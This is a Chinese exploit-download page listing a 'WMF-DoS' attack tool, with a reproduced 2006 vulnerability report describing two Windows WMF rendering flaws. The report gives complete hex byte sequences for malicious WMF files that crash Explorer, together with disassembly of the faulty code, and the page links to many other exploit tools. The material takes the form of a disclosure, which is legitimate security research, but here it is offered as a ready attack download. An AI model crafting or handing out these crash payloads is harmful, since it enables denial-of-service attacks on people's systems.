首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全工具>攻击程序>软件详细
软件名称:  WMF-DoS.rar
文件类型:  
界面语言:  简体中文
软件类型:  国产软件
运行环境:  WinNT/2K/Xp
授权方式:  共享软件
软件大小:  4K
软件等级:  ★★★★☆
发布时间:  2006-01-11
官方网址: http://www.securityelf.org/ 作者:vitter
演示网址:
软件说明:  
Two denial of service exploits that make of newly discovered flaws in Microsoft Windows WMF handling. These flaws are different than those covers in MS06-001.

Microsoft Windows GRE WMF Format Multiple Unauthorized Memory Access Vulnerabilities

//this bug report is update for <<Microsoft Windows GRE WMF Format Multiple Memory Overrun Vulnerabilities>> by cocoruder 2006.01.07

by cocoruder
page:http://ruder.cdut.net
email:frankruder_at_hotmail.com

Last Update:2006.01.09
class:design error
Remote:yes
local:yes

Product Affected:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98
Microsoft Windows 2000SP4

Vendor:
www.microsoft.com

Overview:
Microsoft Windows GRE(Graphics Rendering Engine) has been discovered multiple Unauthorized Memory Access vulnerabilities while rendering WMF format file.Users who view the malicious WMF format file will bring a denial of service attack(explorer.exe will be restart).attend that the follow two vuls are independent of MS05-053 or MS06-001.

Details:
there is 2 vulnerabilities at least.

1.ExtCreateRegion call result in Unauthorized Memory Access vulnerability

you can exploit the vul via create a WMF file like this:
010009000003220000000100844300000000 //WMFHEAD
050000000B028B033F21 //first WMFRECORD
04000000FF0044444444444444444444FFFF33333333333333333333FFFF41424344 //the vul WMFRECORD
030000000000 //end WMFRECORD

the issue code as following:
.text:7F00FE07 loc_7F00FE07:                           ; CODE XREF: PlayMetaFileRecord+1256j
.text:7F00FE07                 sub     eax, 3
.text:7F00FE0A                 jnz     loc_7F022B9A    ; 0xff
.text:7F00FE10                 movzx   ecx, word ptr [ebx+10h] ;get total "PointtStruct" number
.text:7F00FE14                 mov     [ebp-88h], ecx ;save
.text:7F00FE1A                 test    ecx, ecx
.text:7F00FE1C                 jnz     short loc_7F00FE2E ;jmp
.text:7F00FE1E                 xor     eax, eax
.text:7F00FE20                 push    eax             ; int
.text:7F00FE21                 push    eax             ; int
.text:7F00FE22                 push    eax             ; int
.text:7F00FE23                 push    eax             ; int
.text:7F00FE24                 call    CreateRectRgn
.text:7F00FE29                 jmp     loc_7F010494
.text:7F00FE2E ; &#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;&#21738;?
.text:7F00FE2E
.text:7F00FE2E loc_7F00FE2E:                           ; CODE XREF: PlayMetaFileRecord+C15j
.text:7F00FE2E                 xor     edi, edi
.text:7F00FE30                 mov     [ebp-8Ch], edi
.text:7F00FE36                 lea     eax, [ebx+1Ch] ;get first "PointtStruct" address
.text:7F00FE39                 mov     [ebp-90h], eax ;save
.text:7F00FE3F                 and     [ebp-94h], edi
.text:7F00FE45                 and     [ebp-98h], edi
.text:7F00FE4B                 test    ecx, ecx
.text:7F00FE4D                 jbe     short loc_7F00FE8C
.text:7F00FE4F
.text:7F00FE4F loc_7F00FE4F:                           ; CODE XREF: PlayMetaFileRecord+C83j
.text:7F00FE4F                 movzx   ecx, word ptr [eax] ;get PointNum,here will trigger memory access error**
.text:7F00FE52                 mov     edx, ecx
.text:7F00FE54                 shr     edx, 1 ;PointNum/2
.text:7F00FE56                 add     edx, edi ;sum PointNum/2
.text:7F00FE58                 cmp     edx, edi
.text:7F00FE5A                 jb      loc_7F0106D5
.text:7F00FE60                 mov     edi, edx
.text:7F00FE62                 mov     [ebp-8Ch], edi
.text:7F00FE68                 cmp     ecx, 7FFFFFFBh
.text:7F00FE6E                 jnb     loc_7F0106D5
.text:7F00FE74                 lea     eax, [eax+ecx*2+8]
.text:7F00FE78                 inc     dword ptr [ebp-98h] ;counter+1
.text:7F00FE7E                 mov     ecx, [ebp-98h]
.text:7F00FE84                 cmp     ecx, [ebp-88h] ;cmp total "PointtStruct" number
.text:7F00FE8A                 jb      short loc_7F00FE4F ;traverse all "PointtStruct"
.text:7F00FE8C
.text:7F00FE8C loc_7F00FE8C:                            ; CODE XREF: PlayMetaFileRecord+C46j
.text:7F00FE8C                                          ; PlayMetaFileRecord+14D8j
.text:7F00FE8C                 cmp     dword ptr [ebp-94h], 0
.text:7F00FE93                 jnz     loc_7F022BA2
.text:7F00FE99                 cmp     edi, 0FFFFFFDh
.text:7F00FE9F                 jnb     loc_7F022BA2
.text:7F00FEA5                 mov     eax, [ebp-8Ch]
.text:7F00FEAB                 add     eax, 2
.text:7F00FEAE                 shl     eax, 4
.text:7F00FEB1                 mov     [ebp-9Ch], eax
.text:7F00FEB7                 push    eax             ; uBytes
.text:7F00FEB8                 push    0               ; uFlags
.text:7F00FEBA                 call    ds:LocalAlloc ;will allocate memory normally.
.text:7F00FEC0                 mov     edi, eax


2.ExtEscape POSTSCRIPT_INJECTION result in Unauthorized Memory Access vulnerability

you can exploit the vul via create WMF file like this:
010009000003220000000100844300000000 //WMFHEAD
050000000B028B033F21 //first WMFRECORD
0400000026001610FFFF444444444444444444444444444444444444444444444344 //the vul WMFRECORD
030000000000 //end WMFRECORD

the issue code as following:

.text:7F027312 loc_7F027312:                           ; CODE XREF: ExtEscape+11Ej
.text:7F027312                                         ; ExtEscape+12Aj
.text:7F027312                 test    byte ptr [ecx+4], 40h
.text:7F027316                 jnz     loc_7F017CEC
.text:7F02731C                 mov     ebx, [ebp+arg_8] ;we can cotrol this:cbSize
.text:7F02731F                 add     ebx, 1Ah ;cbSize+0x1a
.text:7F027322                 and     ebx, 0FFFFFFFCh ;cbSize+0x1a-4
.text:7F027325                 mov     eax, large fs:18h
.text:7F02732B                 mov     eax, [eax+30h]
.text:7F02732E                 push    ebx
.text:7F02732F                 push    0
.text:7F027331                 push    dword ptr [eax+18h]
.text:7F027334                 call    ds:RtlAllocateHeap ;allocate memory size=cbSize+0x16
.text:7F02733A                 test    eax, eax
.text:7F02733C                 jz      short loc_7F027385
.text:7F02733E                 mov     ecx, [ebp+arg_4]
.text:7F027341                 mov     [eax+0Ch], ecx
.text:7F027344                 mov     ecx, [ebp+arg_8]
.text:7F027347                 mov     [eax+10h], ecx
.text:7F02734A                 mov     edx, ecx
.text:7F02734C                 shr     ecx, 2
.text:7F02734F                 sub     ebx, 8
.text:7F027352                 mov     [eax+8], ebx
.text:7F027355                 lea     edi, [eax+14h]
.text:7F027358                 rep movsd ;copy,here will trigger a memory error likely**
.text:7F02735A                 mov     ecx, edx
.text:7F02735C                 and     ecx, 3
.text:7F02735F                 rep movsb
.text:7F027361                 mov     ecx, [ebp-4]
.text:7F027364                 mov     edi, [ebp+arg_14]
.text:7F027367                 lea     edx, [ecx+48h]
.text:7F02736A                 mov     esi, [edx+4]
.text:7F02736D                 mov     [eax+4], esi


Solution:
Microsoft has not develop the patch,please unregister the Windows Picture and Fax Viewer (Shimgvw.dll)(see MS06-001).

Thanks:
thanks all my friends.

-EOF-

下载地址: 进入下载地址列表
下载说明: ☉推荐使用网际快车下载本站软件,使用 WinRAR v3.10 以上版本解压本站软件。
☉如果这个软件总是不能下载的请点击报告错误,谢谢合作!!
☉下载本站资源,如果服务器暂不能下载请过一段时间重试!
☉如果遇到什么问题,请到本站论坛去咨寻,我们将在那里提供更多 、更好的资源!
☉本站提供的一些商业软件是供学习研究之用,如用于商业用途,请购买正版。
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热门软件
·qwks.cpp(MS03-049)
·ms05039.rar
·fsie.rar
·Serv-U FTP溢出漏洞利用工具
·NBSI2破解版
·MS08-067.rar
·Churrasco.zip
·提权大杀器(2010黑帽大会公布的
·tfn2k.tgz
·SMBdie
·ms04-011.rar
·WinArpAttacker3.50.rar
  相关软件
·vsexploit.zip
·WMF Handling Remote.zip
·MS05-055Exp.rar
·冰舞2.5
·nbsi3.0 xiaolu增强版
·fsie.rar
·wed.vbs
·sqlcmd.rar
·f_WinSniff v2.0.rar
·automagic.zip
·arptools-1.0.0.tar.gz
·ms05038.exe
 
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved